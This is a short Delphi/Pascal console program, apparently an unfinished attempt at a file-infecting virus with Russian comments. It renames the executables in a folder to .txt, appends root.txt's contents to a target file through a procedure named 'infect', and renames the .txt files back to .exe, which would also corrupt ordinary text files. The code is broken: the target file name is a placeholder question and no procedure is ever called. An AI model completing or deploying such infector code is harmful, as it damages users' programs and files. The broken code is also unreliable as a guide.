program root;

{$APPTYPE CONSOLE}
uses
SysUtils;

var
f, y: string ;
searchResult : TSearchRec;

procedure gotomark;
begin
if FindFirst('*.exe', faAnyFile, searchResult) = 0 then
begin
repeat
f:= (searchResult.Name);
y:= ChangeFileExt(f, '.txt');
RenameFile(f, y);

until FindNext(searchResult) <> 0;
end;
end;

Procedure infect;
const
Fn1 = 'как тут указать найденный файл??' ;
Fn2 = 'root.txt';
var
F1, F2 : TextFile;
S : String;
begin
AssignFile(F1, Fn1);
Append(F1);
AssignFile(F2, Fn2);
Reset(F2);
//Если второй файл не пуст, добавляем перевод на следующую строку в первом файле.
if not Eof(F2) then Writeln(F1);
//Переписываем содержание второго фала в конец первого файла.
while not Eof(F2) do begin
Readln(F2, S);
Writeln(F1, S);
end;
CloseFile(F1);
CloseFile(F2);
end;

procedure obratno;
var
g,d:string;
begin
if FindFirst('*.txt', faAnyFile, searchResult) = 0 then
begin
repeat
g:= (searchResult.Name);
d:= ChangeFileExt(g, '.exe');
RenameFile(g, d);
until FindNext(searchResult) <> 0;
end;
end;
end.